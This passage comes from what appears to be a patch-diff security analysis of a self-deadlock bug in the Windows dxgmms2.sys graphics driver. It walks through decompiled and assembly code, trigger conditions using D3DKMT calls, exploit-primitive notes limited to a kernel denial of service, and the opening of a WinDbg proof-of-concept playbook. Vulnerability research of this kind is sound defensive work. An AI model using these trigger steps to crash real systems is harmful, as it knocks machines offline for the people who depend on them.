class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetVidMmGlobalAllocFromOwner&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v68&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_Servicing_PteDeadLock__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// sub_1c0018990 (WIL flag)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// OLD path preserved when feature off&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x160&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x160&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ✅ NOT already owner?&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v68&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                              &lt;/span&gt;&lt;span class="c1"&gt;// ✅ THIS call acquired&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x160&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// ✅ owner tag at +0x160&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// else: already owner → SKIP acquire (reentrant-safe)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* ... work ... */&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ✅ CONDITIONAL release — clears owner, fires only when this call acquired&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//    (feature-off: owner!=0 ; feature-on: v68)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;CreateOneAllocation&lt;/code&gt; (&lt;code&gt;sub_1c005d34c&lt;/code&gt;) — struct initialization&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED: operator new size = 504 (0x1f8), discrete field zeroing&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;504&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// pushlock value at +0x158 (index 0x2b)&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// field at +0x1d8 (index 0x3b)&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED: operator new size = 520 (0x208), discrete field init (no literal memset)&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;520&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// pushlock at +0x158&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// ✅ NEW owner-thread slot at +0x160&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// +0x168&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// ✅ type/state tag 0x35 at +0x16c&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// former obj[59] shifted +0x10 to +0x1e8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; (UNPATCHED &lt;code&gt;0x1c005f13c&lt;/code&gt;) — VIDMM_GLOBAL_ALLOC lock, no owner check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; owner = GetVidMmGlobalAllocFromOwner(...)&lt;/span&gt;
&lt;span class="c1"&gt;; -------- ACQUIRE without self-ownership check --------&lt;/span&gt;
&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;owner&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; VIDMM_GLOBAL_ALLOC pushlock (index 0x2b)&lt;/span&gt;
&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; ❌ no owner comparison → self-deadlock if reentrant&lt;/span&gt;
&lt;span class="c1"&gt;; ... work; RemoveVaRangeFromVad is called with a5=1 and SKIPS re-acquiring owner+0x158 ...&lt;/span&gt;
&lt;span class="c1"&gt;; -------- release, gated only on owner != 0 --------&lt;/span&gt;
&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;owner&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExReleasePushLockExclusiveEx&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeLeaveCriticalRegion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; (PATCHED &lt;code&gt;0x1c005f15c&lt;/code&gt;) — feature-staged owner gate&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_Servicing_PteDeadLock__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; sub_1c0018990 (WIL staging flag)&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;feature_off_path&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; feature off → original unconditional acquire&lt;/span&gt;

&lt;span class="c1"&gt;; ---- feature-on path ----&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="mi"&gt;0x188&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; KeGetCurrentThread&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;owner&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x160&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; ✅ already owner?&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;skip_acquire&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; ✅ SKIP if this thread already owns it&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; owner+0x158&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;owner&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x160&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; ✅ owner tag; v68 = 1&lt;/span&gt;

&lt;span class="c1"&gt;; ---- release ----&lt;/span&gt;
&lt;span class="c1"&gt;; clears [owner+0x160] = 0 and releases only when this call acquired (feature-off: owner!=0 ; feature-on: v68)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;RemoveVaRangeFromVad&lt;/code&gt; (&lt;code&gt;sub_1c006029c&lt;/code&gt;; patched &lt;code&gt;0x1c0060348&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; acquires the SAME owner+0x158 lock, but only when its a5 argument == 0.&lt;/span&gt;
&lt;span class="c1"&gt;; called from AddVaRangeToVadRangeListWithFix with a5 = 1 in BOTH builds, so it does NOT re-acquire on that edge.&lt;/span&gt;
&lt;span class="c1"&gt;; patched adds: mov [owner+0x160], KeGetCurrentThread after acquire, and mov [owner+0x160], 0 before release.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key observation:&lt;/strong&gt; The fix is feature-staged. &lt;code&gt;sub_1c0018990&lt;/code&gt; is the WIL feature-staging flag &lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt;, not a bespoke runtime reentrancy detector; when it returns 0 the patched binary runs the original unconditional acquire. The real hardening is the &lt;code&gt;cmp [owner+0x160], gs:[0x188]&lt;/code&gt; self-ownership gate plus the owner-tag writes at &lt;code&gt;owner+0x160&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a graphics handle.&lt;/strong&gt; Open a Direct3D 11/12 device via &lt;code&gt;D3D11CreateDevice&lt;/code&gt; / &lt;code&gt;D3D12CreateDevice&lt;/code&gt;, or use the &lt;code&gt;D3DKMT*&lt;/code&gt; API (&lt;code&gt;D3DKMTOpenAdapterFromHdc&lt;/code&gt;, &lt;code&gt;D3DKMTCreateDevice&lt;/code&gt;) to obtain an &lt;code&gt;hDevice&lt;/code&gt; against a WDDM-driven GPU.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Allocate resources that share a per-device context object.&lt;/strong&gt; Create several textures or buffers (&lt;code&gt;D3DKMTCreateAllocation&lt;/code&gt; with the same &lt;code&gt;hDevice&lt;/code&gt;/&lt;code&gt;hResource&lt;/code&gt;) so that their allocation ranges share a single per-object pushlock at &lt;code&gt;ctx+0x158&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Induce overlapping allocation ranges.&lt;/strong&gt; Allocate resources whose virtual address ranges overlap, then perform operations that force the range manager to reconcile them:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;D3DKMTRename&lt;/code&gt; (renaming allocations in place),&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OfferResources&lt;/code&gt; / &lt;code&gt;ReclaimResources&lt;/code&gt; cycles,&lt;/li&gt;
&lt;li&gt;destroy (&lt;code&gt;D3DKMTDestroyAllocation&lt;/code&gt;) while a concurrent &lt;code&gt;Map&lt;/code&gt;/&lt;code&gt;Unmap&lt;/code&gt; is in flight on the same device,&lt;/li&gt;
&lt;li&gt;or saturate the same VidPn source with allocation create/destroy churn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force a reentrant acquire of &lt;code&gt;owner+0x158&lt;/code&gt;.&lt;/strong&gt; The bug requires the same thread to reenter one of the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt;-pushlock acquiring functions while it already holds that lock for the same object. Note the &lt;code&gt;AddVaRangeToVadRangeListWithFix → RemoveVaRangeFromVad&lt;/code&gt; edge passes &lt;code&gt;a5=1&lt;/code&gt; and does NOT re-acquire, so the reentrancy must come from another path; the exact user-mode sequence was not isolated statically and must be confirmed dynamically.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No special race timing is needed for the deadlock mode&lt;/strong&gt; — once the reentrant acquire of &lt;code&gt;owner+0x158&lt;/code&gt; is reached, the thread blocks deterministically on itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deadlock path:&lt;/strong&gt; system hangs; bug check &lt;code&gt;0x133 DPC_WATCHDOG_VIOLATION&lt;/code&gt; or &lt;code&gt;0x9F DRIVER_POWER_STATE_FAILURE&lt;/code&gt;. In the debugger, the faulting thread sits in &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; ← &lt;code&gt;ExfAcquirePushLockExclusive&lt;/code&gt; on the lock value at &lt;code&gt;[owner+0x158]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Corruption path (speculative):&lt;/strong&gt; not established from the binaries; the unpatched release runs only on a call that actually acquired, so a premature-release UAF is not demonstrated.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Established:&lt;/strong&gt; Kernel denial-of-service via deterministic thread self-deadlock on the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; pushlock, once a thread reenters an acquiring path while already holding &lt;code&gt;owner+0x158&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not established from the binaries:&lt;/strong&gt; A premature-release / concurrent-list-mutation route to a use-after-free is not demonstrated. In the unpatched build the release fires only on a call that actually acquired, so no corruption primitive exists to build on.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Turning the primitive into an exploit&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;For DoS:&lt;/strong&gt; trigger the reentrant self-acquire of &lt;code&gt;owner+0x158&lt;/code&gt; on a thread that already holds it. The self-deadlock is deterministic once that reentrant acquire is reached; the specific user-mode path that produces the reentrancy was not isolated from the binaries and must be confirmed dynamically.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No privilege-escalation or memory-corruption chain is supported by the binaries.&lt;/strong&gt; In the unpatched build the release of &lt;code&gt;owner+0x158&lt;/code&gt; runs only on a call that actually acquired it, so there is no premature-release / concurrent-list-mutation route to a use-after-free to build on. Only the availability (DoS) primitive is established.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Mitigations affecting exploitability&lt;/h3&gt;
&lt;p&gt;The DoS primitive is a self-deadlock that crashes the machine; it is not gated by KASLR, SMEP/SMAP, CFG/kCFG, or HVCI, none of which affect a thread blocking on a lock it already holds. Because no read/write or code-execution primitive is established, exploit-mitigation analysis for privilege escalation is not applicable here.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;This playbook assumes WinDbg/KD is attached to the &lt;strong&gt;unpatched&lt;/strong&gt; target with symbols resolved for &lt;code&gt;dxgmms2.sys&lt;/code&gt; and &lt;code&gt;ntoskrnl.exe&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Symbols &amp;amp; base resolution&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;devnode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;
&lt;span class="n"&gt;lm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dxgmms2&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loaded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
